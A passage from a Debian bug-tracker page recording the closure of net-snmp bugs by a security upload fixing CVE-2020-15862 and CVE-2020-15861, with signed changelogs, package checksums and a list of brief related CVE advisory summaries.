d/p/introduce-refcount-usmStateReference.patch: Introduce refcount in the struct usmStateReference, and adjust code to properly use the field. - d/p/libsnmp-securitystateref: Rename to d/p/move-securityStateRef-into-free_securityStateRef. - d/p/doublefree_snmpusm: Rename to d/p/prevent-snmpv3-bulkget-errors-double-free.patch. . [ Debian Janitor ] * Trim trailing whitespace. . [ Craig Small ] * snmpd: Disable extend mib Closes: #965166 * Don’t ignore tmpfs filesystems Closes: #685877 * snmpd: Command line uid/gid overrides configuration file Checksums-Sha1: c01f32a11ced98a4fff5b748b01128c136e37b75 2812 net-snmp_5.8+dfsg-4.dsc 49ba5e5ec5a6648d2db17434db5e864cb82d01b1 74032 net-snmp_5.8+dfsg-4.debian.tar.xz 718585cf8255958ec80c1bbdf9575a1c67b4d3ae 9896 net-snmp_5.8+dfsg-4_amd64.buildinfo Checksums-Sha256: de3b250656705ce0a4dd8378360d41fd18058c6f24bc8ff05c88120097a47cfe 2812 net-snmp_5.8+dfsg-4.dsc f4fa8f406cdd3958ce36cc5804467825f1905c474878f2d8a59e183c20da2014 74032 net-snmp_5.8+dfsg-4.debian.tar.xz cec547d8714ca9dc2429da4999a29ab5ab3ce47f68ba66545f663324cc272e72 9896 net-snmp_5.8+dfsg-4_amd64.buildinfo Files: a58ce64e3919caae4f3936f4e9495e52 2812 net optional net-snmp_5.8+dfsg-4.dsc c9d0f8ff8b7a986fb75f583504d4ca8d 74032 net optional net-snmp_5.8+dfsg-4.debian.tar.xz ec3e4d046d8c1cfd101e9227440e0ac2 9896 net optional net-snmp_5.8+dfsg-4_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEXT3w9TizJ8CqeneiAiFmwP88hOMFAl8ZdsUACgkQAiFmwP88 hOPLRw/9EbPJS3QkYhYn6U2VyQZvSaw7t+c31SvrhrYdwkAFswwivR1a9WGaTGht g6e//r5r8IMZfEylIm+lRfWS8xROhfihF3QTaN80ZhR0W5XqwVFWDu2lrzeQXHe9 +dH/Skx3ajzwkVedyyt40pmb8AtKRFLeygsD+a0DJ9oz/4VsYnOtTchyFeDbeScE 4fEq5l8nGI1CYZiOQDUZewuMVVWyN5nCjow4D3rj9LygliWWA9BTEt09WwiZPc4/ JG2+xIp6dL4YEHpAWje+RuajLpWuywHlXk31QRhwqGHX3swEVf0hchoGY5qs5rKB 9v+CCG2T6XaTPX7h1OUsPyFmSH/rhweeEiRQ57mb/n4lqYeNgYI7rVnRc4J4/dJ8 zfUrXJT3oCvuZZz69runliLkjJ1SNKaJSjrf4NtOr5QeNWhOrWO3krQhzpL1MzUC mFKR2jY8rTwIAwjNz3TWprVQOiBgcwtD4cbF+aHCp8GIGiUCpAPiKBY8x5ff72m2 rheo8AULBo16gJuMVT844oXX6AA9HcHaubMboHwA9RjEZprf9z6c/eYs9wcwfJo9 gcLtFtcW+P2p5D9OvrO09TM4j7RwfbuSSyVPnHDN0XbftVfsVc3n2XzGxyxzbPox SLacoawleA9nfYsCCcJhvXbgRo5bd9FLB/vctlbZ0obfqcf+Uv4= =5iuJ -----END PGP SIGNATURE-----

Reply sent to Craig Small [email protected]:
You have taken responsibility. (Mon, 24 Aug 2020 18:03:04 GMT) (full text, mbox, link).

Notification sent to Bart Van Assche [email protected]:
Bug acknowledged by developer. (Mon, 24 Aug 2020 18:03:04 GMT) (full text, mbox, link).

Message #50 received at [email protected] (full text, mbox, reply):

Source: net-snmp Source-Version: 5.7.3+dfsg-5+deb10u1 Done: Craig Small [email protected]

We believe that the bug you reported is fixed in the latest version of net-snmp, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is attached.

Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [email protected], and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software pp. Craig Small [email protected] (supplier of updated net-snmp package)

(This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [email protected])

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

Format: 1.8 Date: Fri, 31 Jul 2020 20:53:22 +1000 Source: net-snmp Binary: libsnmp-base libsnmp-dev libsnmp-perl libsnmp-perl-dbgsym libsnmp30 libsnmp30-dbg python-netsnmp python-netsnmp-dbgsym snmp snmp-dbgsym snmpd snmpd-dbgsym snmptrapd snmptrapd-dbgsym tkmib Architecture: source all amd64 Version: 5.7.3+dfsg-5+deb10u1 Distribution: buster-security Urgency: high Maintainer: Net-SNMP Packaging Team [email protected] Changed-By: Craig Small [email protected] Description: libsnmp-base - SNMP configuration script, MIBs and documentation libsnmp-dev - SNMP (Simple Network Management Protocol) development files libsnmp-perl - SNMP (Simple Network Management Protocol) Perl5 support libsnmp30 - SNMP (Simple Network Management Protocol) library libsnmp30-dbg - SNMP (Simple Network Management Protocol) library debug python-netsnmp - SNMP (Simple Network Management Protocol) Python support snmp - SNMP (Simple Network Management Protocol) applications snmpd - SNMP (Simple Network Management Protocol) agents snmptrapd - Net-SNMP notification receiver tkmib - SNMP (Simple Network Management Protocol) MIB browser Closes: 965166 966599 Changes: net-snmp (5.7.3+dfsg-5+deb10u1) buster-security; urgency=high . * snmpd: Make EXTEND-MIB readonly access Fixes CVE-2020-15862 Closes: #965166 * snmpd: Do not cache MIB directory Fixes CVE-2020-15861 Closes: #966599 Checksums-Sha1: 3c00cfc1818c6e54f430616260f03d2a71ec9f82 3000 net-snmp_5.7.3+dfsg-5+deb10u1.dsc 02937c97b611d6c175ffafb7c1fa882d56cdebe6 82540 net-snmp_5.7.3+dfsg-5+deb10u1.debian.tar.xz 3b91770fb4ae116a5164b0e2879616f399669255 1594844 libsnmp-base_5.7.3+dfsg-5+deb10u1_all.deb e3a58fe66789c36031917bdb0214b491d2492762 1098092 libsnmp-dev_5.7.3+dfsg-5+deb10u1_amd64.deb fbfc427fcddf7c41ab05e11dd58e32a431371f01 346020 libsnmp-perl-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb f0916c2960c1b09759291aaef697a8c51c8a5820 1532940 libsnmp-perl_5.7.3+dfsg-5+deb10u1_amd64.deb 794cfaa77a683d00061526efb23f38a317c12a5b 2719964 libsnmp30-dbg_5.7.3+dfsg-5+deb10u1_amd64.deb bcf6f921c26b26d75cfe3ba8ec1fb378a3da29d6 2319844 libsnmp30_5.7.3+dfsg-5+deb10u1_amd64.deb fa47585ad5b61e308a7ca9820506bc77861fca4b 11992 net-snmp_5.7.3+dfsg-5+deb10u1_amd64.buildinfo a12e439b76f963bba3aa801d95a20e3b897aa967 47276 python-netsnmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 0539ca2a9128f415322e13545d22a3217cb088de 19808 python-netsnmp_5.7.3+dfsg-5+deb10u1_amd64.deb dbb8ac3468ee12362cf3334edbce610458d34895 281212 snmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 3a19b4c5687f4af6e5525143c664965a3ba5d5bd 155256 snmp_5.7.3+dfsg-5+deb10u1_amd64.deb bec81665acc7ee80307369029ee7a643633ff85d 21624 snmpd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 1ec40a3638d374f11255ad3f095934f590874728 56080 snmpd_5.7.3+dfsg-5+deb10u1_amd64.deb 73fea0468cd8edaedc0f62a7ff876efe4d8b2542 25284 snmptrapd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 8f3a693617260bc4617adfa793cad0d23a42119a 24300 snmptrapd_5.7.3+dfsg-5+deb10u1_amd64.deb eadc964a1e63a0ca8d2be0283d97e58b1bb45693 1471404 tkmib_5.7.3+dfsg-5+deb10u1_all.deb Checksums-Sha256: b9e7cc8c042c69e059cfbc9b39bc617793e7e66363ea549cdfc007f0acaee905 3000 net-snmp_5.7.3+dfsg-5+deb10u1.dsc dcaafbe074a1f3881e4f350508d02f0647c77a84512707bb97f78d5709f19395 82540 net-snmp_5.7.3+dfsg-5+deb10u1.debian.tar.xz 268a34baeda9b97f2120e639060d1a1c33878b360f8efa18bd40ef104055681f 1594844 libsnmp-base_5.7.3+dfsg-5+deb10u1_all.deb 5358fd9d9a626ba8ca0d0b4cad2829a0ae6c08a9c5063d64b125a768f0e3cfcb 1098092 libsnmp-dev_5.7.3+dfsg-5+deb10u1_amd64.deb cba8b8ab8fb60ec4b815d616f9446bf5d9d56147222b4ea37b9fdb7d60a71ae9 346020 libsnmp-perl-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb f078561b9984495ae92df9cb77b276acc4b1495a33a271cc52dc89e3acd18f4a 1532940 libsnmp-perl_5.7.3+dfsg-5+deb10u1_amd64.deb d8321b153ac3e62944fb19c53986d045ec8adf7c60bece7938aff98423e8e86b 2719964 libsnmp30-dbg_5.7.3+dfsg-5+deb10u1_amd64.deb e262a7c7b8bbe20b6e54d8c47234e0897e1daef32e55a78d76ceb148dc69b33e 2319844 libsnmp30_5.7.3+dfsg-5+deb10u1_amd64.deb 222da9ab921a739196d1db5e5cfd355a0baf79601044eb2cff2f9a8b53b3111f 11992 net-snmp_5.7.3+dfsg-5+deb10u1_amd64.buildinfo f9be40477244f1596d79017af36beaf83f74fc8e996ad1248301aac5742c26a6 47276 python-netsnmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 51a38d50fb0c8dec7df403f43a76ba4f51ffb20dd97b51b054a148ddf6f0e5d7 19808 python-netsnmp_5.7.3+dfsg-5+deb10u1_amd64.deb 2e89d6217dd72e8683c85d77eef3e6c18524bd8e63b6107ccbf97d12cb6993f3 281212 snmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb b04d4f1b4b5c543a71f8b955929a42743782139f400c49eef3f6459f9dfe5d0c 155256 snmp_5.7.3+dfsg-5+deb10u1_amd64.deb ac621d8c9ce7bc1d5b1ebb00e50b65e0a25d4e9871a13f832938668721f21e43 21624 snmpd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb cc2f3cd67ed3cfd9823690b951e7b96197a0e22083232d9bc09c02f8270b15e2 56080 snmpd_5.7.3+dfsg-5+deb10u1_amd64.deb 7f9c721ef4ccdeb946d52499e18a333f548cb75270544db6f3d2875f924c2f5e 25284 snmptrapd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 17493572d98dad14d997b1f33f539074071eb5f9e4885cb288dcbf1bb61ffe80 24300 snmptrapd_5.7.3+dfsg-5+deb10u1_amd64.deb 25a3ac691db3ec7fb70a5b9c7dd8f29cec6ce1015a4434eca0281eed331aeb08 1471404 tkmib_5.7.3+dfsg-5+deb10u1_all.deb Files: 1e7c49f5a26c93faeb7b2432f4b1be81 3000 net optional net-snmp_5.7.3+dfsg-5+deb10u1.dsc c5000db76b8a80ba24682c803a8a86bd 82540 net optional net-snmp_5.7.3+dfsg-5+deb10u1.debian.tar.xz ff5383045508878b090c9adc3a92e398 1594844 libs optional libsnmp-base_5.7.3+dfsg-5+deb10u1_all.deb e5860a172a48b24bf9eb1c14a9f46a0c 1098092 libdevel optional libsnmp-dev_5.7.3+dfsg-5+deb10u1_amd64.deb 9cdd6574450937526b37992c74d76dc7 346020 debug optional libsnmp-perl-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb ffac16389e3ceaa06c2a3a47381231e4 1532940 perl optional libsnmp-perl_5.7.3+dfsg-5+deb10u1_amd64.deb 8e9b95dd87ef20b545ad9748324e3f81 2719964 debug optional libsnmp30-dbg_5.7.3+dfsg-5+deb10u1_amd64.deb d3aa72ddcc4fbd8360e872692c67bb08 2319844 libs optional libsnmp30_5.7.3+dfsg-5+deb10u1_amd64.deb a96d3dfdf29aa814844f55d0f3b7925e 11992 net optional net-snmp_5.7.3+dfsg-5+deb10u1_amd64.buildinfo af9d13dc4590d22b5fb3e7a0abd59499 47276 debug optional python-netsnmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 3dcf3e2b6e03b21715fb94117d32e155 19808 python optional python-netsnmp_5.7.3+dfsg-5+deb10u1_amd64.deb ad597351a264a54fd69ae23bca38547b 281212 debug optional snmp-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb a2d8e08d9d841637f9d2115696fcc75b 155256 net optional snmp_5.7.3+dfsg-5+deb10u1_amd64.deb 93babbdb5e525f2de472ced18db3db0f 21624 debug optional snmpd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb cddb6f091a025ae083a995930f9fc047 56080 net optional snmpd_5.7.3+dfsg-5+deb10u1_amd64.deb 6035b48175918d85b373cd9e106a74e3 25284 debug optional snmptrapd-dbgsym_5.7.3+dfsg-5+deb10u1_amd64.deb 401f1822400ab10562bfe060f6529d80 24300 net optional snmptrapd_5.7.3+dfsg-5+deb10u1_amd64.deb e74de64f052885d7a4ee9d70c5ed30c1 1471404 net optional tkmib_5.7.3+dfsg-5+deb10u1_all.deb

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEXT3w9TizJ8CqeneiAiFmwP88hOMFAl8xw7YACgkQAiFmwP88 hOPNpxAAnw9Ifh9UCyVYnHHa/mLo7uVhmh9J7MQTqKYvfiUvGDVIkvQoSET33FVS ogdyFcYmE7gpD2pQq6IqkHzbMMOrDnGXuJB2HRtBBYjWIAnIQokqJruVXQfSKavX UZtCzEzfoBr0wbW4pLsUpiVIU4RZ5CZGPkjJ3wgSUmPmn95nIKwDrRzGpHf/+CQr IF52nLSde1SYrl/LLTqpDjjYQQl5XPlKEWJnzUZq9izufaGxgiKeHufiPcGpcgEh d1uRNcIUrUZahIjPocRCGwegrrR6RWnXHnf8c3wW5UQX7l3uyajhzrNhA/TiAk0E xoZvQUrD4F3QwQxthLe7TfB5xXftwrMGGzb1BkoXJMEanMtL3Dfm1ux7y/fKb8sR K7idWbwB4Ftf4g6LIYOxBSTY5BXXu1kRaFG1LMJcAd+DnpqKBu3MX+XFtauU3tLU 27yhze6CF5z5HkV3d6PEJrzx5C5IizC8xamhLXT/xd1lJaXXnPHfQqXS9jf496di Tyu50usEVqT+KYDizKc/ialMeEa9uobSYFKFHXYsYGeCvhXri9KVSr0FPYhhqXic RrXY38oASANqhZDAzPprhp6Kmfr8NsgOnJf360LobMmsoJhHNQ3khR+PuVzyyyME 3EbfUeY9vp2AwxZoug1u5flarSISdhrkGSe9ULYmzU4Ll1VNRUc= =/nlB -----END PGP SIGNATURE-----

Bug archived. Request was from Debbugs Internal Request [email protected] to [email protected]. (Sun, 27 Sep 2020 07:27:26 GMT) (full text, mbox, link).

Send a report that this bug log contains spam.

Debian bug tracking system administrator <[email protected]>. Last modified: Tue Oct 31 19:36:43 2023; Machine Name: bembo

Debian Bug tracking system

Debbugs is free software and licensed under the terms of the GNU Public License version 2. The current version can be obtained from https://bugs.debian.org/debbugs-source/.

Copyright © 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson, 2005-2017 Don Armstrong, and many other contributors.

Related news

CVE-2023-25201: Security Advisories - usd HeroLab

Cross Site Request Forgery (CSRF) vulnerability in MultiTech Conduit AP MTCAP2-L4E1 MTCAP2-L4E1-868-042A v.6.0.0 allows a remote attacker to execute arbitrary code via a crafted script upload.

CVE-2023-25201: Security Advisories - usd HeroLab

Cross Site Request Forgery (CSRF) vulnerability in MultiTech Conduit AP MTCAP2-L4E1 MTCAP2-L4E1-868-042A v.6.0.0 allows a remote attacker to execute arbitrary code via a crafted script upload.

CVE-2022-32535: Multiple Vulnerabilities PRA-ES8P2S Ethernet-Switch

The Bosch Ethernet switch PRA-ES8P2S with software version 1.01.05 runs its web server with root privilege. In combination with CVE-2022-23534 this could give an attacker root access to the switch.

CVE-2022-32535: Multiple Vulnerabilities PRA-ES8P2S Ethernet-Switch

The Bosch Ethernet switch PRA-ES8P2S with software version 1.01.05 runs its web server with root privilege. In combination with CVE-2022-23534 this could give an attacker root access to the switch.

CVE-2022-32535: Multiple Vulnerabilities PRA-ES8P2S Ethernet-Switch

The Bosch Ethernet switch PRA-ES8P2S with software version 1.01.05 runs its web server with root privilege. In combination with CVE-2022-23534 this could give an attacker root access to the switch.

CVE-2022-29085: DSA-2022-021: Dell Unity, Dell UnityVSA, and Dell Unity XT Security Update for Multiple Vulnerabilities

Dell Unity, Dell UnityVSA, and Dell Unity XT versions prior to 5.2.0.0.5.173 contain a plain-text password storage vulnerability when certain off-array tools are run on the system. The credentials of a user with high privileges are stored in plain text. A local malicious user with high privileges may use the exposed password to gain access with the privileges of the compromised user.

CVE-2021-2119: Oracle Critical Patch Update Advisory - January 2021

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is Prior to 6.1.18. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data. CVSS 3.1 Base Score 6.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

CVE-2020-15861: [Ticket#2020070701000015] Security issues in net-snmp · Issue #145 · net-snmp/net-snmp

Net-SNMP through 5.7.3 allows Escalation of Privileges because of UNIX symbolic link (symlink) following.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907